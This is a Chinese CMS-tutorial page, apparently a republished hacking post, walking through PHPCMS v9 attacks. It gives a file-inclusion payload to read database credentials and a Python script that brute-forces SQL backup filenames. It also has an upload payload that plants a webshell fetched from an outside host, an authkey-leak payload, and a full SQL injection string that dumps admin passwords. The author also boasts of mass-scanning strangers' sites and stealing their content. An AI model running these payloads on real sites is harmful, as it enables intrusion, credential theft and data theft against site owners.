您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMS本地文件包含漏洞
梁胤鸣2025-05-21phpcms教程已有人查阅
导读一、PHPCM PHP是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架,采用PHP5+MYSQL进行开发,拥有非常庞 百度百科介绍其优点主要如下:
一、PHPCM PHP是国内领先的网站内容管理系统,同时也是一个开源的PHP开发框架,采用PHP5+MYSQL进行开发,拥有非常庞 百度百科介绍其优点主要如下:
①功能强大
②模块化,开源,可扩展功能强大灵活
③支持自定义模型和字段负载能力强,支持千万级数据模板制作方便
④支持中文标签和万能标签进行数据调用拥有门户级的碎片功能,
⑤融入了人性化体验
⑥加强了安全机制
前五条我们无可厚非,因为PHPCMS的开发团队确实比较专业和优秀,但是就算他真的安全机制优秀,难道我们就拿他没办法了嘛?作为一名小学生,自然是不服,让我们今天来盘点一下PHPCMS v9这些年爆出来的常见漏洞~(鸡肋一些的漏洞在此就不介绍了,主要介绍一些比较凶残的)
二、PHPCMS V9本地文件包含漏洞
漏洞出现在如下文件:phpcms/modules/search/index.php
代码如下:
因此可以构造payload如下
.xxx.com/m=search&a=public_get_suggest_keyword&q=../../phpsso_server/caches/configs/database.php
如果存在漏洞即可成功读取到phpcms的数据库配置文件,如图
如果目标的mysql服务对外网开启,则可以使用mysql连接程序直接脱裤
利用用户表的管理员账号密码(phpcms的管理员密码是加盐再md5加密的,需要解密),使用默认后台
.xxx.com/admin.php] .xxx.com/admin.php即可成功登录
三、phpcms V9 sql备份文件名爆破
参考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=35472&highlight=phpcms
payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用
而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。
这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作
# /api/creatimg.php
四、PHPCMS前台上传getshell
漏洞复现参考(https:// .hackersb.cn/hacker/219.html)
漏洞复现的办法是先打开注册页面:
.xxx.com/index.php?m=member&c=index&a=register&siteid=1] .xxx.com/index.php?m=member&c=index&a=register&siteid=
然后向注册页面POST如下payload:
但我在实战测试过程中发现这个漏洞由于危害极大,基本上都已经被运维打补丁了,因此现在存在这个漏洞的站点并不是很多
五、PHPCMS利用authkey泄露进行注入
众所周和PHPCMS在拿到authkey(这边简称key吧),便有一大堆注入,在此给大家简单讲解一下
首先分享一下爆出key的payload
拿到key后,我们该怎么办呢?
我们这边使用一个名为a.php的exp(exp请回复后下载)
大家可以使用phpstudy安装PHP环境
用法:将a.php丢到phpstudy配置的网站根目录中
访问url:
http://cmd.la进行解密,但是是要收费的,你懂得
<ignore_js_op>
然后使用解出的明文密码登录 .xxx.com/admin.php即可~
六、利用fuzz框架批量检测PHPCMS漏洞
我作为一名懒人,叫我一个个地手动检测漏洞是很不现实的,因此我选择使用test404的一款http fuzz框架实现批量检测
简单地编写了一下上述漏洞的插件,采集url进行批量fuzz,效果还是很不错的
如图是使用爆key插件的结果(还有很多了,不一一展示)
这些爆出key的大部分都是存在SQL注入的
有时候还会有福利,搞到个美女图片站什么的,把资源全部打包爽歪歪。。。
至于插件一类的,大家可以阅读原文下载哈~
七、资源下载
阅读原文即可下载:http fuzzer+编写好的插件,利用key注入的exp(exp请把txt扩展名改为php)
①功能强大
②模块化,开源,可扩展功能强大灵活
③支持自定义模型和字段负载能力强,支持千万级数据模板制作方便
④支持中文标签和万能标签进行数据调用拥有门户级的碎片功能,
⑤融入了人性化体验
⑥加强了安全机制
前五条我们无可厚非,因为PHPCMS的开发团队确实比较专业和优秀,但是就算他真的安全机制优秀,难道我们就拿他没办法了嘛?作为一名小学生,自然是不服,让我们今天来盘点一下PHPCMS v9这些年爆出来的常见漏洞~(鸡肋一些的漏洞在此就不介绍了,主要介绍一些比较凶残的)
二、PHPCMS V9本地文件包含漏洞
漏洞出现在如下文件:phpcms/modules/search/index.php
代码如下:
public function public_get_suggest_keyword() {
$url = $_GET['url'].'&q='.$_GET['q'];
$res = @file_get_contents($url);
if(CHARSET != 'gbk') {
$res = iconv('gbk', CHARSET, $res);
}
echo $res;
}
本处大家会发现在使用file_get_contents函数时没有过滤get方式得到的m参数因此可以构造payload如下
.xxx.com/m=search&a=public_get_suggest_keyword&q=../../phpsso_server/caches/configs/database.php
如果存在漏洞即可成功读取到phpcms的数据库配置文件,如图
如果目标的mysql服务对外网开启,则可以使用mysql连接程序直接脱裤
利用用户表的管理员账号密码(phpcms的管理员密码是加盐再md5加密的,需要解密),使用默认后台
.xxx.com/admin.php] .xxx.com/admin.php即可成功登录
三、phpcms V9 sql备份文件名爆破
参考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=35472&highlight=phpcms
payload:/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/gv5dmx<<.sql我们知道windows的FindFirstFile(API)有个特性就是可以把<<当成通配符来用
而PHP的opendir(win32readdir.c)就使用了该API。PHP的文件操作函数均调用了opendir,所以file_exists也有此特性。
这个漏洞和前一阵子dedecms后台爆破如出一辙,api.php文件的$op变量决定用户的操作
# api.php
<?php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'phpcms/base.php';
......
$op = isset($_GET['op']) && trim($_GET['op']) ? trim($_GET['op']) : exit('Operation can not be empty');
......
if (!preg_match('/([^a-z_]+)/i',$op) && file_exists(PHPCMS_PATH.'api/'.$op.'.php')) {
include PHPCMS_PATH.'api/'.$op.'.php';
......
?>
在/api/creatimg.php文件中,使用了file_exists()函数判断$fontfile文件是否存在,文件存在和不存在的返回信息是不同的,而且$fontfile可以被用户控制,且未过滤.和/等符号,最终导致了漏洞发生。# /api/creatimg.php
<?php
defined('IN_PHPCMS') or exit('No permission resources.');
$txt = trim($_GET['txt']);
if(extension_loaded('gd') && $txt ) {
......
$fontfile = isset($_GET['font']) && !empty($_GET['font']) ? $fontpath.trim($_GET['font']) : $fontpath.'georgia.ttf';
......
if(file_exists($fontfile)){
//计算文本写入后的宽度,右下角 X 位置-左下角 X 位置
$image_info = imagettfbbox($fontsize,0,$fontfile,$txt);
$imageX = $image_info[2]-$image_info[0]+10;
$imageY = $image_info[1]-$image_info[7]+5;
......
爆破脚本如下:
#!/usr/bin/env python
# coding=utf-8
'''/*
* author = Mochazz
* team = 红日安全团队
* env = pyton3
*
*/
'''
import requests
import itertools
characters = "abcdefghjklmnopqrstuvwxyz0123456789_!#"
backup_sql = ""
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
url = "http://192.168.0.106"
flag = 0
for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
payload = payload.format(location=pre)
r = requests.get(url+payload)
if r.status_code == 200 and "PNG" in r.text:
flag = 1
backup_sql = pre
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("[+] 前缀为:",backup_sql)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
payload = payload.format(location=backup_sql+ch)
r = requests.get(url + payload)
if r.status_code == 200 and "PNG" in r.text:
backup_sql += ch
print("[+] ",backup_sql)
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
break
else:
payload = "/api.php?op=creatimg&txt=mochazz&font=/../../../../caches/bakup/default/{location}<<"
print("备份sql文件地址为:",backup_sql+".sql")
拿到SQL文件后,可以导入本地查看,后续操作这里不多加赘述四、PHPCMS前台上传getshell
漏洞复现参考(https:// .hackersb.cn/hacker/219.html)
漏洞复现的办法是先打开注册页面:
.xxx.com/index.php?m=member&c=index&a=register&siteid=1] .xxx.com/index.php?m=member&c=index&a=register&siteid=
然后向注册页面POST如下payload:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=然后就会报错并返回shell地址:
然后就可以连接啦。但我在实战测试过程中发现这个漏洞由于危害极大,基本上都已经被运维打补丁了,因此现在存在这个漏洞的站点并不是很多
五、PHPCMS利用authkey泄露进行注入
众所周和PHPCMS在拿到authkey(这边简称key吧),便有一大堆注入,在此给大家简单讲解一下
首先分享一下爆出key的payload
xxx.com/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
<ignore_js_op>
如图中的XI0G8h0TYyWTwZMFIgN9nxHUN9Syymf便是我们所说的key拿到key后,我们该怎么办呢?
我们这边使用一个名为a.php的exp(exp请回复后下载)
大家可以使用phpstudy安装PHP环境
用法:将a.php丢到phpstudy配置的网站根目录中
访问url:
http://localhost/a.php?url=你要测试的url(不要加http)&key=你得到的key&id=userid=1%20and%20(SELECT%201%20FROM(SELECT%20count(*),concat((SELECT(SELECT%20concat(0x7e,0x27,cast((substring((select+concat(0x7e,0x27,username,0x3a,+password,+0x3a,+encrypt,0x27,0x40,0x7e)+FROM+`v9_admin`+WHERE+1+limit+0,1),1,62))%20as%20char),0x27,0x7e))%20FROM%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20FROM%20information_schema.columns%20group%20by%20x)a)
即可得到后台账号和密码,但是密码是加了salt的,大家可以去http://cmd.la进行解密,但是是要收费的,你懂得
<ignore_js_op>
然后使用解出的明文密码登录 .xxx.com/admin.php即可~
六、利用fuzz框架批量检测PHPCMS漏洞
我作为一名懒人,叫我一个个地手动检测漏洞是很不现实的,因此我选择使用test404的一款http fuzz框架实现批量检测
简单地编写了一下上述漏洞的插件,采集url进行批量fuzz,效果还是很不错的
如图是使用爆key插件的结果(还有很多了,不一一展示)
这些爆出key的大部分都是存在SQL注入的
有时候还会有福利,搞到个美女图片站什么的,把资源全部打包爽歪歪。。。
至于插件一类的,大家可以阅读原文下载哈~
七、资源下载
阅读原文即可下载:http fuzzer+编写好的插件,利用key注入的exp(exp请把txt扩展名改为php)
本文标签:
很赞哦! ()
上一篇:phpcms常见问题修改方法终结
图文教程
phpcmsv9和ecshop2.3.7以及discuzx3.0整合方法
小编是将Phpcms v9安装在根目录,然后在根目录新建一个bbs目录安装Discuz! X2.5,本教程中的路径是以此安装目录为例的,站长们操作时应该以自己实际情况更改路径。
解决phpcmsv9通信失败的方法
phpcmsv9通信失败怎么办?phpcmsv9与phpsso通信失败,会员不能注册不能登陆怎么办?有朋友这么说:服务器其它配置正确,通信始终失败原因已经找到:
phpcms列表页调用点击量的方法
很多朋友经常问Phpcms v9的首页、列表页、内容页点击量如何调用。现在就给大家分享phpcms V9如何分别在首页、列表页、内容页调用点击量代码:1. Phpcms v9首页调用点击量
phpcms当前栏目调用标签整理
下面做总结,方便大家找到在内容页想调用的东西当前栏目id: {$catid}当前栏目名: {$CATEGORYS[$catid][catname]}当前栏目目录名: {$CATEGORYS[$catid][catdir]}
相关源码
-
PbootCMS(自适应手机端)智能电话AI机器人网站模板产品概述基于PbootCMS内核开发的智能电话AI机器人网站模板,为语音交互服务场景设计,采用HTML5+CSS3响应式布局技术,实现PC端与移动端数据实时同步展示。模板适用于智能电话查看源码 -
(自适应)家政保洁保姆打扫卫生清灰服务pbootcms模板免费下载采用手工编写的DIV+CSS架构,代码结构清晰无冗余,加载速度优异。响应式设计适配各类终端设备,保障手机、平板、电脑端的一致浏览体验。查看源码 -
(自适应)摄像头安防电子设备pbootcms源码下载本模板基于PbootCMS系统开发,为安防电子设备企业设计,特别适合监控摄像头、安防系统等产品的展示。采用响应式技术,确保各类设备参数和功能在不同终端上都能清晰呈现。查看源码 -
(自适应)挖掘机大型采矿设备pbootcms网站源码下载本模板基于PbootCMS系统开发,专为重型机械设备行业设计,特别适合挖掘机、采矿设备、工程机械等工业设备展示。采用响应式布局技术,确保各类设备参数和图片在不同终端上都能清晰展示。查看源码 -
(自适应)绿色新闻生活百科资讯文章博客类网站pbootcms模板源码本模板基于PbootCMS开发,为生活百科、资讯文章和博客类网站设计。采用清新绿色系风格,提供舒适的阅读体验,同时适配PC和移动设备。适用于生活技巧分享、健康知识传播查看源码 -
(自适应)工业机械制造设备网站pbootcms模板下载为机械制造、工业设备类企业设计,特别适合各类机械设备、生产线、工业自动化产品展示。采用响应式技术,确保在不同设备上都能清晰展示机械产品的技术参数和细节特点。查看源码
| 分享笔记 (共有 篇笔记) |
